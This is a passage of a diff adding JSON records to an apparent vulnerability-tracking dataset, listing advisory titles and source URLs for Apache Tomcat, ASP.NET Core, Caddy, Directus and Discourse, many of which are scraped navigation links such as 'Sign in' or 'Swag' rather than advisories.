+ "official_source_url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--CVE-2025-24813",
+ "system_id": "apache-tomcat",
+ "title": "Apache Tomcat Path Equivalence Vulnerability",
+ "official_source_url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--a2590dc47b",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2025-66614",
+ "official_source_url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-66614",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--ac3714eb57",
+ "system_id": "apache-tomcat",
+ "title": "Migration Guide",
+ "official_source_url": "https://tomcat.apache.org/migration.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--aea19824c2",
+ "system_id": "apache-tomcat",
+ "title": "Tomcat 11.0",
+ "official_source_url": "https://tomcat.apache.org/tomcat-11.0-doc/index.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--af3c91be5c",
+ "system_id": "apache-tomcat",
+ "title": "BUILDING.txt",
+ "official_source_url": "https://tomcat.apache.org/tomcat-10.0-doc/BUILDING.txt",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--b23c5e35c9",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2025-55752",
+ "official_source_url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55752",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--b55bb1b121",
+ "system_id": "apache-tomcat",
+ "title": "Heritage",
+ "official_source_url": "https://tomcat.apache.org/heritage.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--b744a50549",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2025-55668",
+ "official_source_url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55668",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--b7ac0eae42",
+ "system_id": "apache-tomcat",
+ "title": "Overview",
+ "official_source_url": "https://tomcat.apache.org/getinvolved.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--ba168e654b",
+ "system_id": "apache-tomcat",
+ "title": "Tomcat 10",
+ "official_source_url": "https://tomcat.apache.org/download-10.cgi",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--bc806658b3",
+ "system_id": "apache-tomcat",
+ "title": "Tomcat 11",
+ "official_source_url": "https://tomcat.apache.org/download-11.cgi",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--bdde1865a6",
+ "system_id": "apache-tomcat",
+ "title": "Security Reports",
+ "official_source_url": "https://tomcat.apache.org/security.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--c10a63610c",
+ "system_id": "apache-tomcat",
+ "title": "end of life",
+ "official_source_url": "https://tomcat.apache.org/tomcat-10.0-eol.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--c24871aac5",
+ "system_id": "apache-tomcat",
+ "title": "Twitter",
+ "official_source_url": "https://twitter.com/theapachetomcat",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--c470f39b6f",
+ "system_id": "apache-tomcat",
+ "title": "Fixed in Apache Tomcat 10.1.52",
+ "official_source_url": "https://tomcat.apache.org/security-10.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--c8a2e47ea5",
+ "system_id": "apache-tomcat",
+ "title": "Wiki",
+ "official_source_url": "https://cwiki.apache.org/confluence/display/TOMCAT",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--cc1565901e",
+ "system_id": "apache-tomcat",
+ "title": "YouTube",
+ "official_source_url": "https://www.youtube.com/c/ApacheTomcatOfficial",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--ce6ff70ffe",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2025-31650",
+ "official_source_url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-31650",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--cf335ad174",
+ "system_id": "apache-tomcat",
+ "title": "cdde8e65",
+ "official_source_url": "https://github.com/apache/tomcat/commit/cdde8e655bc1c5c60a07efd216251d77c52fd7f6",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--d33b4cbf62",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2025-46701",
+ "official_source_url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-46701",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--d3ce0dca4e",
+ "system_id": "apache-tomcat",
+ "title": "Buildbot",
+ "official_source_url": "https://tomcat.apache.org/ci.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--d9121f9c30",
+ "system_id": "apache-tomcat",
+ "title": "Source code",
+ "official_source_url": "https://tomcat.apache.org/source.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--d9eef50097",
+ "system_id": "apache-tomcat",
+ "title": "2c680011",
+ "official_source_url": "https://github.com/apache/tomcat/commit/2c6800111e7d8d8d5403c07978ea9bff3db5a5a5",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--dc60148766",
+ "system_id": "apache-tomcat",
+ "title": "Taglibs",
+ "official_source_url": "https://tomcat.apache.org/download-taglibs.cgi",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--e0fd2f8d0a",
+ "system_id": "apache-tomcat",
+ "title": "Resources",
+ "official_source_url": "https://tomcat.apache.org/resources.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--e112505b22",
+ "system_id": "apache-tomcat",
+ "title": "7617b9c2",
+ "official_source_url": "https://github.com/apache/tomcat/commit/7617b9c247bc77ed0444dd69adcd8aa48777886c",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--e36bb1c6d7",
+ "system_id": "apache-tomcat",
+ "title": "Upgrading",
+ "official_source_url": "https://tomcat.apache.org/upgrading.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--e4c4769574",
+ "system_id": "apache-tomcat",
+ "title": "Find help",
+ "official_source_url": "https://tomcat.apache.org/findhelp.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--e5e80c0a91",
+ "system_id": "apache-tomcat",
+ "title": "e0e07812",
+ "official_source_url": "https://github.com/apache/tomcat/commit/e0e07812224d327a321babb554f5a5758d30cc49",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--e9bbe07c29",
+ "system_id": "apache-tomcat",
+ "title": "fc42bbcc",
+ "official_source_url": "https://github.com/apache/tomcat/commit/fc42bbccb9041fafd194fbfdf3eab1d44cb5c45c",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--eaa9f7ab66",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2025-49124",
+ "official_source_url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-49124",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--ec10641321",
+ "system_id": "apache-tomcat",
+ "title": "FAQ",
+ "official_source_url": "https://cwiki.apache.org/confluence/display/TOMCAT/FAQ",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--f182e5bf64",
+ "system_id": "apache-tomcat",
+ "title": "711b465c",
+ "official_source_url": "https://github.com/apache/tomcat/commit/711b465cf22684a1acf0cb43501cdbbce9b6c5f4",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--f38adeb312",
+ "system_id": "apache-tomcat",
+ "title": "Archives",
+ "official_source_url": "https://archive.apache.org/dist/tomcat/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--f64ec916fb",
+ "system_id": "apache-tomcat",
+ "title": "Tomcat Migration Tool for Jakarta EE",
+ "official_source_url": "https://tomcat.apache.org/download-migration.cgi",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--fc53c949b0",
+ "system_id": "apache-tomcat",
+ "title": "Swag",
+ "official_source_url": "https://www.redbubble.com/people/comdev/works/30885254-apache-tomcat",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-tomcat--ff9ba8aa3b",
+ "system_id": "apache-tomcat",
+ "title": "CVE-2025-53506",
+ "official_source_url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-53506",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "aspnet-core--CVE-2020-1045",
+ "system_id": "aspnet-core",
+ "title": "CVE-2020-1045",
+ "official_source_url": "https://access.redhat.com/errata/RHSA-2020:3699",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "aspnet-core--CVE-2020-1597",
+ "system_id": "aspnet-core",
+ "title": "CVE-2020-1597",
+ "official_source_url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/WH5FQ5VT3JGHXFXOETHCTBWJUIAPGHHT/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "aspnet-core--CVE-2026-26130",
+ "system_id": "aspnet-core",
+ "title": "CVE-2026-26130",
+ "official_source_url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26130",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "caddy--0158a8ddd8",
+ "system_id": "caddy",
+ "title": "Caddy: MatchHost becomes case-sensitive for large host lists (>100), enabling host-based route/auth bypass",
+ "official_source_url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-x76f-jf84-rqj8",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "caddy--0921003cc6",
+ "system_id": "caddy",
+ "title": "Notifications",
+ "official_source_url": "https://github.com/login?return_to=%2Fcaddyserver%2Fcaddy",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "caddy--146569d56a",
+ "system_id": "caddy",
+ "title": "mTLS client authentication silently fails open when CA certificate file is missing or malformed",
+ "official_source_url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-hffm-g8v7-wrv7",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "caddy--3b182d7701",
+ "system_id": "caddy",
+ "title": "Sign up",
+ "official_source_url": "https://github.com/signup?ref_cta=Sign+up&ref_loc=header+logged+out&ref_page=%2F%3Cuser-name%3E%2F%3Crepo-name%3E%2Frepos%2Fadvisories%2Findex&source=header-repo&source_repo=caddyserver%2Fcaddy",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "caddy--44cbfe52c8",
+ "system_id": "caddy",
+ "title": "caddy",
+ "official_source_url": "https://github.com/caddyserver/caddy",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "caddy--54eb0db436",
+ "system_id": "caddy",
+ "title": "caddyserver",
+ "official_source_url": "https://github.com/caddyserver",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "caddy--6fb600a3f4",
+ "system_id": "caddy",
+ "title": "Improper sanitization of glob characters in file matcher may lead to bypassing security protections",
+ "official_source_url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-4xrr-hq4w-6vf4",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "caddy--745ad1485a",
+ "system_id": "caddy",
+ "title": "Issues \n 201",
+ "official_source_url": "https://github.com/caddyserver/caddy/issues",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "caddy--752be55ec0",
+ "system_id": "caddy",
+ "title": "Security \n 8",
+ "official_source_url": "https://github.com/caddyserver/caddy/security",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "caddy--7c57bb87cf",
+ "system_id": "caddy",
+ "title": "Actions",
+ "official_source_url": "https://github.com/caddyserver/caddy/actions",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "caddy--85a3ff1f30",
+ "system_id": "caddy",
+ "title": "vars_regexp double-expands user input, leaking env vars and files",
+ "official_source_url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-m2w3-8f23-hxxf",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "caddy--883104fe6c",
+ "system_id": "caddy",
+ "title": "Sign in",
+ "official_source_url": "https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fcaddyserver%2Fcaddy%2Fsecurity%2Fadvisories",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "caddy--921b808417",
+ "system_id": "caddy",
+ "title": "Caddy: MatchPath %xx (escaped-path) branch skips case normalization, enabling path-based route/auth bypass",
+ "official_source_url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-g7pc-pc7g-h8jh",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "caddy--ade36bbb20",
+ "system_id": "caddy",
+ "title": "cross-origin config application via local admin API /load (caddy)",
+ "official_source_url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-879p-475x-rqh2",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "caddy--c52981f5e2",
+ "system_id": "caddy",
+ "title": "Unicode case-folding length expansion causes incorrect split_path index (SCRIPT_NAME/PATH_INFO confusion) in FastCGI transport",
+ "official_source_url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-5r3v-vc8m-m96g",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "caddy--cf9582f72a",
+ "system_id": "caddy",
+ "title": "Skip to content",
+ "official_source_url": "https://github.com/caddyserver/caddy/security/advisories",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "caddy--e598b86910",
+ "system_id": "caddy",
+ "title": "Insights",
+ "official_source_url": "https://github.com/caddyserver/caddy/pulse",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "caddy--e89796c7cf",
+ "system_id": "caddy",
+ "title": "Policy",
+ "official_source_url": "https://github.com/caddyserver/caddy/security/policy",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "caddy--f0734ced73",
+ "system_id": "caddy",
+ "title": "Pull requests \n 46",
+ "official_source_url": "https://github.com/caddyserver/caddy/pulls",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "caddy--f5135e4d5d",
+ "system_id": "caddy",
+ "title": "Caddy forward_auth copy_headers Does Not Strip Client-Supplied Headers, Allowing Identity Injection and Privilege Escalation",
+ "official_source_url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-7r4p-vjf4-gxv4",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "caddy--fedac463f1",
+ "system_id": "caddy",
+ "title": "Report a vulnerability",
+ "official_source_url": "https://github.com/caddyserver/caddy/security/advisories/new",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "directus--05a97ef95a",
+ "system_id": "directus",
+ "title": "Insights",
+ "official_source_url": "https://github.com/directus/directus/pulse",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "directus--0f0b39c9f0",
+ "system_id": "directus",
+ "title": "Open redirect in SAML",
+ "official_source_url": "https://github.com/directus/directus/security/advisories/GHSA-3573-4c68-g8cc",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "directus--27bdf5ad98",
+ "system_id": "directus",
+ "title": "directus",
+ "official_source_url": "https://github.com/directus",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "directus--2af6171363",
+ "system_id": "directus",
+ "title": "Skip to content",
+ "official_source_url": "https://github.com/directus/directus/security/advisories",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "directus--371ca874bf",
+ "system_id": "directus",
+ "title": "Actions",
+ "official_source_url": "https://github.com/directus/directus/actions",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "directus--42698ca19c",
+ "system_id": "directus",
+ "title": "Improper Permission Handling on Deleted Fields in Directus",
+ "official_source_url": "https://github.com/directus/directus/security/advisories/GHSA-9x5g-62gj-wqf2",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "directus--4894f4700e",
+ "system_id": "directus",
+ "title": "5",
+ "official_source_url": "https://github.com/directus/directus/security/advisories?page=5",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "directus--6171b57605",
+ "system_id": "directus",
+ "title": "Projects",
+ "official_source_url": "https://github.com/directus/directus/projects",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "directus--683f41088d",
+ "system_id": "directus",
+ "title": "Conceal fields are searchable if read permissions enabled",
+ "official_source_url": "https://github.com/directus/directus/security/advisories/GHSA-8jpw-gpr4-8cmh",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "directus--699c51e2fd",
+ "system_id": "directus",
+ "title": "Information Leakage: Existing Collections",
+ "official_source_url": "https://github.com/directus/directus/security/advisories/GHSA-cph6-524f-3hgr",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "directus--6bb5a641ff",
+ "system_id": "directus",
+ "title": "User Enumeration via Password Reset Timing Attack",
+ "official_source_url": "https://github.com/directus/directus/security/advisories/GHSA-jr94-gj3h-c8rf",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "directus--6e0381fffb",
+ "system_id": "directus",
+ "title": "3",
+ "official_source_url": "https://github.com/directus/directus/security/advisories?page=3",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "directus--780d166a7c",
+ "system_id": "directus",
+ "title": "Issues \n 344",
+ "official_source_url": "https://github.com/directus/directus/issues",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "directus--838e2a1aa3",
+ "system_id": "directus",
+ "title": "Security \n 46",
+ "official_source_url": "https://github.com/directus/directus/security",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "directus--8545270cc0",
+ "system_id": "directus",
+ "title": "Store XSS",
+ "official_source_url": "https://github.com/directus/directus/security/advisories/GHSA-vv2v-pw69-8crf",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "directus--8a6ee374c5",
+ "system_id": "directus",
+ "title": "Missing permission checks for manual trigger Flows",
+ "official_source_url": "https://github.com/directus/directus/security/advisories/GHSA-7cvf-pxgp-42fc",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "directus--928c5c25d6",
+ "system_id": "directus",
+ "title": "Pull requests \n 40",
+ "official_source_url": "https://github.com/directus/directus/pulls",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "directus--9ec35d1559",
+ "system_id": "directus",
+ "title": "2",
+ "official_source_url": "https://github.com/directus/directus/security/advisories?page=2",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "directus--ae275563c7",
+ "system_id": "directus",
+ "title": "directus",
+ "official_source_url": "https://github.com/directus/directus",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "directus--ae534d9502",
+ "system_id": "directus",
+ "title": "Notifications",
+ "official_source_url": "https://github.com/login?return_to=%2Fdirectus%2Fdirectus",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "directus--c792942c56",
+ "system_id": "directus",
+ "title": "Discussions",
+ "official_source_url": "https://github.com/directus/directus/discussions",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "directus--c95f7731b4",
+ "system_id": "directus",
+ "title": "Unauthenticated file upload and file modification due to lacking input sanitization",
+ "official_source_url": "https://github.com/directus/directus/security/advisories/GHSA-mv33-9f6j-pfmc",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "directus--cc08335ec9",
+ "system_id": "directus",
+ "title": "4",
+ "official_source_url": "https://github.com/directus/directus/security/advisories?page=4",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "directus--ce991ada6e",
+ "system_id": "directus",
+ "title": "Sign up",
+ "official_source_url": "https://github.com/signup?ref_cta=Sign+up&ref_loc=header+logged+out&ref_page=%2F%3Cuser-name%3E%2F%3Crepo-name%3E%2Frepos%2Fadvisories%2Findex&source=header-repo&source_repo=directus%2Fdirectus",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "directus--dbeb181232",
+ "system_id": "directus",
+ "title": "S3 assets become unavailable after a burst of malformed transformations",
+ "official_source_url": "https://github.com/directus/directus/security/advisories/GHSA-j8xj-7jff-46mx",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "directus--ef120db8c2",
+ "system_id": "directus",
+ "title": "Report a vulnerability",
+ "official_source_url": "https://github.com/directus/directus/security/advisories/new",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "directus--f0befb3e4d",
+ "system_id": "directus",
+ "title": "Policy",
+ "official_source_url": "https://github.com/directus/directus/security/policy",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "directus--f2d76edbde",
+ "system_id": "directus",
+ "title": "Sign in",
+ "official_source_url": "https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fdirectus%2Fdirectus%2Fsecurity%2Fadvisories",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "directus--f9abf30989",
+ "system_id": "directus",
+ "title": "Directus version number disclosure",
+ "official_source_url": "https://github.com/directus/directus/security/advisories/GHSA-rmjh-cf9q-pv7q",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "discourse--0a6de28d35",
+ "system_id": "discourse",
+ "title": "3.5.0.beta7: Smart link editing, better invite tracking, unique icons, and fixing name management",
+ "official_source_url": "https://meta.discourse.org/t/3-5-0-beta7-smart-link-editing-better-invite-tracking-unique-icons-and-fixing-name-management/370633",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "discourse--111e9b52a2",
+ "system_id": "discourse",
+ "title": "3.5.0.beta9: Improving color management, core welcome banner, and staff action log filters",
+ "official_source_url": "https://meta.discourse.org/t/3-5-0-beta9-improving-color-management-core-welcome-banner-and-staff-action-log-filters/379217",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "discourse--124fce0a46",
+ "system_id": "discourse",
+ "title": "3.5.0.beta4 Security fix release",
+ "official_source_url": "https://meta.discourse.org/t/3-5-0-beta4-security-fix-release/364850",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "discourse--20c3aec988",
+ "system_id": "discourse",
+ "title": "3.5.0: Major release",
+ "official_source_url": "https://meta.discourse.org/t/3-5-0-major-release/379212",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "discourse--321c09b9ad",
+ "system_id": "discourse",
+ "title": "January 2026 Releases",
+ "official_source_url": "https://meta.discourse.org/t/january-2026-releases/393903",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "discourse--3b96456013",
+ "system_id": "discourse",
+ "title": "3.4.0.beta3: Check for updates on What\u2019s New page, filter by user in the review queue, threading in Chat DMs and group chats, and more",
+ "official_source_url": "https://meta.discourse.org/t/3-4-0-beta3-check-for-updates-on-what-s-new-page-filter-by-user-in-the-review-queue-threading-in-chat-dms-and-group-chats-and-more/343237",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "discourse--4222d879a1",
+ "system_id": "discourse",
+ "title": "3.4.2: Security and bug fix release",
+ "official_source_url": "https://meta.discourse.org/t/3-4-2-security-and-bug-fix-release/358152",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "discourse--451d4d9871",
+ "system_id": "discourse",
+ "title": "3.5.0.beta1: Dark/light mode selector, better flagging info, and encouraging more valuable conversations",
+ "official_source_url": "https://meta.discourse.org/t/3-5-0-beta1-dark-light-mode-selector-better-flagging-info-and-encouraging-more-valuable-conversations/353246",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "discourse--4dbfe76896",
+ "system_id": "discourse",
+ "title": "3.5.0.beta6 Security fixes release",
+ "official_source_url": "https://meta.discourse.org/t/3-5-0-beta6-security-fixes-release/369346",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "discourse--5d3cafdece",
+ "system_id": "discourse",
+ "title": "Release v2025.11.0: AI translations improvements, chat search, new review queue, and improvements for posts with images",
+ "official_source_url": "https://meta.discourse.org/t/release-v2025-11-0-ai-translations-improvements-chat-search-new-review-queue-and-improvements-for-posts-with-images/389615",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "discourse--615bee56ae",
